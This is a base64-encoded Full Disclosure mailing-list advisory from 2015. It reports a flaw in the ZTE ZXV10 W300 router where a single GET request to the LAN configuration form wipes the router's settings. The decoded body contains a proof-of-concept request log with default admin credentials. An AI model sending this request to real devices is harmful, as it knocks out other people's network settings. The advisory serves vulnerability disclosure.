ZTE ZXV10 W300 v3.1.0c_DR0 - UI Session Delete Vulnerability
Vulnerability Lab <[email protected]> Fri, 19 Jun 2015 15:00:52 +0200
| Newsgroups | gmane.comp.security.fulldisclosure,gmane.comp.security.full-disclosure |
|---|---|
| Message-ID | <[email protected]> |
RG9jdW1lbnQgVGl0bGU6Cj09PT09PT09PT09PT09PQpaVEUgWlhWMTAgVzMwMCB2My4xLjBjX0RS MCAtIFVJIFNlc3Npb24gRGVsZXRlIFZ1bG5lcmFiaWxpdHkKCgpSZWZlcmVuY2VzIChTb3VyY2Up Ogo9PT09PT09PT09PT09PT09PT09PQpodHRwOi8vd3d3LnZ1bG5lcmFiaWxpdHktbGFiLmNvbS9n ZXRfY29udGVudC5waHA/aWQ9MTUyMgoKClJlbGVhc2UgRGF0ZToKPT09PT09PT09PT09PQoyMDE1 LTA2LTE2CgoKVnVsbmVyYWJpbGl0eSBMYWJvcmF0b3J5IElEIChWTC1JRCk6Cj09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PQoxNTIyCgoKQ29tbW9uIFZ1bG5lcmFiaWxpdHkgU2Nv cmluZyBTeXN0ZW06Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQo2CgoKUHJv ZHVjdCAmIFNlcnZpY2UgSW50cm9kdWN0aW9uOgo9PT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09ClpURSB6eHYxMCB3MzAwIEFEU0wgd2lyZWxlc3Mgcm91dGVyIGNhdCBmYW1pbHkgZ2F0ZXdh eSAoYWNjZXNzb3JpZXMgaW5jbHVkZSBhIGhvc3QsIGEgcG93ZXIgbGluZSwgYSBsaW5lIG9mIDEg cm9vdCwgc2VwYXJhdG9yLCAxKQoKKENvcHkgb2YgdGhlIFZlbmRvciBIb21lcGFnZTogIGh0dHA6 Ly93d3dlbi56dGUuY29tLmNuL2VuL3Byb2R1Y3RzL2FjY2Vzcy9jcGUvMjAxMzAyL3QyMDEzMDIw NF8zODYzNTEuaHRtbCApCgoKQWJzdHJhY3QgQWR2aXNvcnkgSW5mb3JtYXRpb246Cj09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PQpUaGUgVnVsbmVyYWJpbGl0eSBMYWJvcmF0b3J5IFJlc2Vh cmNoIFRlYW0gZGlzY292ZXJlZCBhIHJlbW90ZSB2dWxuZXJhYmlsaXR5IGluIHRoZSBvZmZpY2lh bCBaVEUgQ29ycG9yYXRpb24gWlhWMTAgVzMwMCB2My4xLjBjX0RSMCBtb2RlbSBoYXJkd2FyZS4K CgpWdWxuZXJhYmlsaXR5IERpc2Nsb3N1cmUgVGltZWxpbmU6Cj09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT0KMjAxNS0wNi0xNjogUHVibGljIERpc2Nsb3N1cmUgKFZ1bG5lcmFiaWxp dHkgTGFib3JhdG9yeSkKCgpEaXNjb3ZlcnkgU3RhdHVzOgo9PT09PT09PT09PT09PT09PQpQdWJs aXNoZWQKCgpBZmZlY3RlZCBQcm9kdWN0KHMpOgo9PT09PT09PT09PT09PT09PT09PQpaVEUgQ29y cG9yYXRpb24KUHJvZHVjdDogWlRFIFpYVjEwIFczMDAgMy4xLjBjX0RSMAoKCkV4cGxvaXRhdGlv biBUZWNobmlxdWU6Cj09PT09PT09PT09PT09PT09PT09PT09ClJlbW90ZQoKClNldmVyaXR5IExl dmVsOgo9PT09PT09PT09PT09PT0KSGlnaAoKClRlY2huaWNhbCBEZXRhaWxzICYgRGVzY3JpcHRp b246Cj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09CkEgc2Vzc2lvbiB2dWxuZXJhYmls aXR5IGhhcyBiZWVuIGRpc2NvdmVyZWQgaW4gdGhlIG9mZmljaWFsIFpURSBDb3Jwb3JhdGlvbiBa WFYxMCBXMzAwIHYzLjEuMGNfRFIwIG1vZGVtIGhhcmR3YXJlLgpUaGUgc2VjdXJpdHkgdnVsbmVy YWJpbGl0eSBhbGxvd3MgcmVtb3RlIGF0dGFja2VycyB0byBibG9jay9zaHV0ZWRvd24gb3IgZGVs ZXRlIG5ldHdvcmsgc2V0dGluZ3MgYW5kIGNvbXBvbmVudHMuCgpUaGUgTEFOIGNvbmZpZ3VyYXRp b24gcG9zdCB0byAvRm9ybXMvaG9tZV9sYW5fMSBhbmQgdGhlIHBhZ2UgIC9ob21lX2xhbl8xICB0 aGF0IHN0b3JlcyB0aGUgY29uZmlndXJhdGlvbiBvZiB0aGUgcm91dGVyLgpBdHRhY2tlcnMgY2Fu IHJlcXVlc3QgdmlhIEdFVCBtZXRob2QgdGhlIC9Gb3Jtcy9ob21lX2xhbl8xICBwYXRoIGFuZCB0 aGUgbW9kZW0gd2lsbCBkZWxldGUgYWxsIHRoZSBMQU4gY29uZmlndXJhdGlvbnMgYXV0b21hdGlj YWxseS4gClRoZSBwcm9ibGVtIGlzIHRoZSBHRVQgbWV0aG9kIHJlcXVlc3Qgd2l0aCB0aGUgL0Zv cm1zL2hvbWVfbGFuXzEgIHBhdGggdGhhdCBkZWxldGVzIGFsbCB0aGUgY29uZmlndXJhdGlvbnMu IEEgaGFyZCByZXNldCBpcyByZXF1aXJlZCAKYWZ0ZXIgc3VjY2Vzc2Z1bCBleHBsb2l0YXRpb24g b2YgdGhlIGlzc3VlLgoKVGhlIHNlY3VyaXR5IHJpc2sgb2YgdGhlIHJvdXRlciB1aSB3ZWIgdnVs bmVyYWJpbGl0eSBpcyBlc3RpbWF0ZWQgYXMgaGlnaCB3aXRoIGEgY3ZzcyAoY29tbW9uIHZ1bG5l cmFiaWxpdHkgc2NvcmluZyBzeXN0ZW0pIGNvdW50IG9mIDYuMC4KRXhwbG9pdGF0aW9uIG9mIHRo ZSBzZWN1cml0eSB3ZWIgdnVsbmVyYWJpbGl0eSByZXF1aXJlcyBubyBwcml2aWxlZ2Ugd2ViLWFw cGxpY2F0aW9uIHVzZXIgYWNjb3VudCBhbmQgbG93IHVzZXIgaW50ZXJhY3Rpb24gKGNsaWNrIGxp bmspLgpTdWNjZXNzZnVsIGV4cGxvaXRhdGlvbiBvZiB0aGUgdnVsbmVyYWJpbGl0eSByZXN1bHRz IGluIHJlc2V0IG9mIHRoZSBtb2RlbSBkZXZpY2UsIHNodXRkb3duIG9mIHRoZSBuZXR3b3JrL2xh biBvciBjb21wcm9taXNlIG9mIHJ1bm5pbmcgc2VydmljZXMuCgpSZXF1ZXN0IE1ldGhvZChzKToK CQkJCVsrXSBQT1NUCgpWdWxuZXJhYmxlIE1vZHVsZShzKToKCQkJCVsrXSBGb3Jtcy8KCkFmZmVj dGVkIE1vZHVsZShzKToKCQkJCVsrXSBob21lX2xhbl8xCgoKUHJvb2Ygb2YgQ29uY2VwdCAoUG9D KToKPT09PT09PT09PT09PT09PT09PT09PT0KVGhlIHZ1bG5lcmFiaWxpdHkgY2FuIGJlIGV4cGxv aXRlZCBieSByZW1vdGUgYXR0YWNrZXJzIHdpdGhvdXQgcHJpdmlsZWdlIGFwcGxpY2F0aW9uIHVz ZXIgYWNjb3VudCBhbmQgbG93IHVzZXIgaW50ZXJhY3Rpb24gKGNsaWNrKS4KRm9yIHNlY3VyaXR5 IGRlbW9uc3RyYXRpb24gb3IgdG8gcmVwcm9kdWNlIGZvbGxvdyB0aGUgcHJvdmlkZWQgaW5mb3Jt YXRpb24gYW5kIHN0ZXBzIGJlbG93IHRvIGNvbnRpbnVlLgoKLS0tIFBvQyBTZXNzaW9uIExvZ3Mg W0dFVF0gLS0tCjEzOjE4OjM1LjUyNlswbXNdW3RvdGFsIDBtc10gClN0YXR1czogcGVuZGluZ1td CkdFVCBodHRwOi8vMTkyLjE2OC4xLjEvRm9ybXMvaG9tZV9sYW5fMSAKTG9hZCBGbGFnc1tMT0FE X0RPQ1VNRU5UX1VSSSAgTE9BRF9JTklUSUFMX0RPQ1VNRU5UX1VSSSAgXSBDb250ZW50IFNpemVb dW5rbm93bl0gTWltZSBUeXBlW3Vua25vd25dClJlcXVlc3QgSGVhZGVyczogICAKSG9zdFsxOTIu MTY4LjEuMV0gICAKVXNlci1BZ2VudFtNb3ppbGxhLzUuMCAoWDExOyBMaW51eCBpNjg2OyBydjoz OC4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzM4LjBdICAgCkFjY2VwdFt0ZXh0L2h0bWwsYXBw bGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSwqLyo7cT0wLjhdICAgCkFj Y2VwdC1MYW5ndWFnZVtlbi1VUyxlbjtxPTAuNV0gICAKQWNjZXB0LUVuY29kaW5nW2d6aXAsIGRl ZmxhdGVdClgtRm9yd2FyZGVkLUZvcls4LjguOC44XQpDb25uZWN0aW9uW2tlZXAtYWxpdmVdCkF1 dGhvcml6YXRpb25bQmFzaWMgWVdSdGFXNDZZV1J0YVc0PV0KCk5vdGU6IFRoZSB2aWN0aW0gd2l0 aCBuZWVkcyB0byBjbGljayB0byBwZXJmb3JtIG9ubHkgdGhlIEdFVCBtZXRob2QgcmVxdWVzdCB3 aXRoIG5vbiBleHBpcmVkIHNlc3Npb24gdG8gZXhlY3V0ZSEKClJlZmVyZW5jZShzKToKaHR0cDov L2xvY2FsaG9zdC9Gb3Jtcy9ob21lX2xhbl8xIAoKClNlY3VyaXR5IFJpc2s6Cj09PT09PT09PT09 PT09ClRoZSBzZWN1cml0eSByaXNrIG9mIHRoZSByZW1vdGUgdnVsbmVyYWJpbGl0eSBpbiB0aGUg aW50ZXJmYWNlIHNlcnZpY2UgaXMgZXN0aW1hdGVkIGFzIGhpZ2guIChDVlNTIDYuMCkKCgpDcmVk aXRzICYgQXV0aG9yczoKPT09PT09PT09PT09PT09PT09ClZ1bG5lcmFiaWxpdHkgTGFib3JhdG9y eSBbUmVzZWFyY2ggVGVhbV0gLSBIYWRqaSBTYW1pciBbcy1kekBob3RtYWlsLmZyXQoKCkRpc2Ns YWltZXIgJiBJbmZvcm1hdGlvbjoKPT09PT09PT09PT09PT09PT09PT09PT09PQpUaGUgaW5mb3Jt YXRpb24gcHJvdmlkZWQgaW4gdGhpcyBhZHZpc29yeSBpcyBwcm92aWRlZCBhcyBpdCBpcyB3aXRo b3V0IGFueSB3YXJyYW50eS4gVnVsbmVyYWJpbGl0eSBMYWIgZGlzY2xhaW1zIGFsbCB3YXJyYW50 aWVzLCBlaXRoZXIgZXhwcmVzc2VkIApvciBpbXBsaWVkLCBpbmNsdWRpbmcgdGhlIHdhcnJhbnRp ZXMgb2YgbWVyY2hhbnRhYmlsaXR5IGFuZCBjYXBhYmlsaXR5IGZvciBhIHBhcnRpY3VsYXIgcHVy cG9zZS4gVnVsbmVyYWJpbGl0eS1MYWIgb3IgaXRzIHN1cHBsaWVycyBhcmUgbm90IGxpYWJsZSAK aW4gYW55IGNhc2Ugb2YgZGFtYWdlLCBpbmNsdWRpbmcgZGlyZWN0LCBpbmRpcmVjdCwgaW5jaWRl bnRhbCwgY29uc2VxdWVudGlhbCBsb3NzIG9mIGJ1c2luZXNzIHByb2ZpdHMgb3Igc3BlY2lhbCBk YW1hZ2VzLCBldmVuIGlmIFZ1bG5lcmFiaWxpdHktTGFiIApvciBpdHMgc3VwcGxpZXJzIGhhdmUg YmVlbiBhZHZpc2VkIG9mIHRoZSBwb3NzaWJpbGl0eSBvZiBzdWNoIGRhbWFnZXMuIFNvbWUgc3Rh dGVzIGRvIG5vdCBhbGxvdyB0aGUgZXhjbHVzaW9uIG9yIGxpbWl0YXRpb24gb2YgbGlhYmlsaXR5 IGZvciAKY29uc2VxdWVudGlhbCBvciBpbmNpZGVudGFsIGRhbWFnZXMgc28gdGhlIGZvcmVnb2lu ZyBsaW1pdGF0aW9uIG1heSBub3QgYXBwbHkuIFdlIGRvIG5vdCBhcHByb3ZlIG9yIGVuY291cmFn ZSBhbnlib2R5IHRvIGJyZWFrIGFueSB2ZW5kb3IgbGljZW5zZXMsIApwb2xpY2llcywgZGVmYWNl IHdlYnNpdGVzLCBoYWNrIGludG8gZGF0YWJhc2VzIG9yIHRyYWRlIHdpdGggZnJhdWQvc3RvbGVu IG1hdGVyaWFsLgoKRG9tYWluczogICAgd3d3LnZ1bG5lcmFiaWxpdHktbGFiLmNvbSAgIAktIHd3 dy52dWxuLWxhYi5jb20JCQkgICAgICAgCQktIHd3dy5ldm9sdXRpb24tc2VjLmNvbQpDb250YWN0 OiAgICBhZG1pbkB2dWxuZXJhYmlsaXR5LWxhYi5jb20gCS0gcmVzZWFyY2hAdnVsbmVyYWJpbGl0 eS1sYWIuY29tIAkgICAgICAgCQktIGFkbWluQGV2b2x1dGlvbi1zZWMuY29tClNlY3Rpb246ICAg IG1hZ2F6aW5lLnZ1bG5lcmFiaWxpdHktZGIuY29tCS0gdnVsbmVyYWJpbGl0eS1sYWIuY29tL2Nv bnRhY3QucGhwCQkgICAgICAgCS0gZXZvbHV0aW9uLXNlYy5jb20vY29udGFjdApTb2NpYWw6CSAg ICB0d2l0dGVyLmNvbS8jIS92dWxuX2xhYiAJCS0gZmFjZWJvb2suY29tL1Z1bG5lcmFiaWxpdHlM YWIgCSAgICAgICAJCS0geW91dHViZS5jb20vdXNlci92dWxuZXJhYmlsaXR5MGxhYgpGZWVkczoJ ICAgIHZ1bG5lcmFiaWxpdHktbGFiLmNvbS9yc3MvcnNzLnBocAktIHZ1bG5lcmFiaWxpdHktbGFi LmNvbS9yc3MvcnNzX3VwY29taW5nLnBocCAgIAkJLSB2dWxuZXJhYmlsaXR5LWxhYi5jb20vcnNz L3Jzc19uZXdzLnBocApQcm9ncmFtczogICB2dWxuZXJhYmlsaXR5LWxhYi5jb20vc3VibWl0LnBo cCAgCS0gdnVsbmVyYWJpbGl0eS1sYWIuY29tL2xpc3Qtb2YtYnVnLWJvdW50eS1wcm9ncmFtcy5w aHAJLSB2dWxuZXJhYmlsaXR5LWxhYi5jb20vcmVnaXN0ZXIvCgpBbnkgbW9kaWZpZWQgY29weSBv ciByZXByb2R1Y3Rpb24sIGluY2x1ZGluZyBwYXJ0aWFsbHkgdXNhZ2VzLCBvZiB0aGlzIGZpbGUg cmVxdWlyZXMgYXV0aG9yaXphdGlvbiBmcm9tIFZ1bG5lcmFiaWxpdHkgTGFib3JhdG9yeS4gUGVy bWlzc2lvbiB0byAKZWxlY3Ryb25pY2FsbHkgcmVkaXN0cmlidXRlIHRoaXMgYWxlcnQgaW4gaXRz IHVubW9kaWZpZWQgZm9ybSBpcyBncmFudGVkLiBBbGwgb3RoZXIgcmlnaHRzLCBpbmNsdWRpbmcg dGhlIHVzZSBvZiBvdGhlciBtZWRpYSwgYXJlIHJlc2VydmVkIGJ5IApWdWxuZXJhYmlsaXR5LUxh YiBSZXNlYXJjaCBUZWFtIG9yIGl0cyBzdXBwbGllcnMuIEFsbCBwaWN0dXJlcywgdGV4dHMsIGFk dmlzb3JpZXMsIHNvdXJjZSBjb2RlLCB2aWRlb3MgYW5kIG90aGVyIGluZm9ybWF0aW9uIG9uIHRo aXMgd2Vic2l0ZSAKaXMgdHJhZGVtYXJrIG9mIHZ1bG5lcmFiaWxpdHktbGFiIHRlYW0gJiB0aGUg c3BlY2lmaWMgYXV0aG9ycyBvciBtYW5hZ2Vycy4gVG8gcmVjb3JkLCBsaXN0IChmZWVkKSwgbW9k aWZ5LCB1c2Ugb3IgZWRpdCBvdXIgbWF0ZXJpYWwgY29udGFjdCAKKGFkbWluQHZ1bG5lcmFiaWxp dHktbGFiLmNvbSBvciByZXNlYXJjaEB2dWxuZXJhYmlsaXR5LWxhYi5jb20pIHRvIGdldCBhIHBl cm1pc3Npb24uCgoJCQkJQ29weXJpZ2h0IMKpIDIwMTUgfCBWdWxuZXJhYmlsaXR5IExhYm9yYXRv cnkgLSBbRXZvbHV0aW9uIFNlY3VyaXR5IEdtYkhd4oSiCgoKCi0tIApWVUxORVJBQklMSVRZIExB Qk9SQVRPUlkgLSBSRVNFQVJDSCBURUFNClNFUlZJQ0U6IHd3dy52dWxuZXJhYmlsaXR5LWxhYi5j b20KQ09OVEFDVDogcmVzZWFyY2hAdnVsbmVyYWJpbGl0eS1sYWIuY29tClBHUCBLRVk6IGh0dHA6 Ly93d3cudnVsbmVyYWJpbGl0eS1sYWIuY29tL2tleXMvYWRtaW5AdnVsbmVyYWJpbGl0eS1sYWIu Y29tJTI4MHgxOThFOTkyOCUyOS50eHQKCgoKX19fX19fX19fX19fX19fX19fX19fX19fX19fX19f X19fX19fX19fX19fX19fX18KU2VudCB0aHJvdWdoIHRoZSBGdWxsIERpc2Nsb3N1cmUgbWFpbGlu ZyBsaXN0Cmh0dHBzOi8vbm1hcC5vcmcvbWFpbG1hbi9saXN0aW5mby9mdWxsZGlzY2xvc3VyZQpX ZWIgQXJjaGl2ZXMgJiBSU1M6IGh0dHA6Ly9zZWNsaXN0cy5vcmcvZnVsbGRpc2Nsb3N1cmUv